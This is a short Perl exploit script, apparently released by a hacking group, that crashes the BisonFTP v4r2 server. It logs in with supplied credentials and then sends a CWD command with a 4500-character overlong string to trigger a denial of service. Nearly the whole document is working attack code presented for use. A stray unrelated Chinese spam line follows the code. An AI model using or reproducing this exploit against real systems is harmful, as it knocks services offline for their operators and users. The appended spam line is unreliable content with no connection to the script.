#!/usr/bin/perl #UK2-sec presents... #BisonFTPv4.r2 Denial of Service. #yipee.great another DOS condition.. #Coded by: #deadbeat #eip@oakey.no-ip.com #For uk2-sec ;) #c0w_d0g, deadbeat $victim = $ARGV[0]; $user = $ARGV[1]; $pass = $ARGV[2]; use IO::Socket; print "\nBisonFTPv4r2 Denial of Service\n"; print "UK2-SEC...deadbeat\n"; if(!$ARGV[2]) { die "Usage: perl $0 \n"; } $string = "A"x4500; print "Connecting to $victim\n"; sleep 2; $sox = IO::Socket::INET->new( Proto=>"tcp", PeerPort=>"21", PeerAddr=>"$victim" ); sleep 1; print "Connected..logining in now..\n"; sleep 1; print $sox "user $user\r\n"; print $sox "pass $pass\r\n"; sleep 2; print $sox "cwd $string\r\n"; print "Exploit sent, logging out should cause a DOS...\n"; close $sox; print "Done...\n";

这里只有精品视频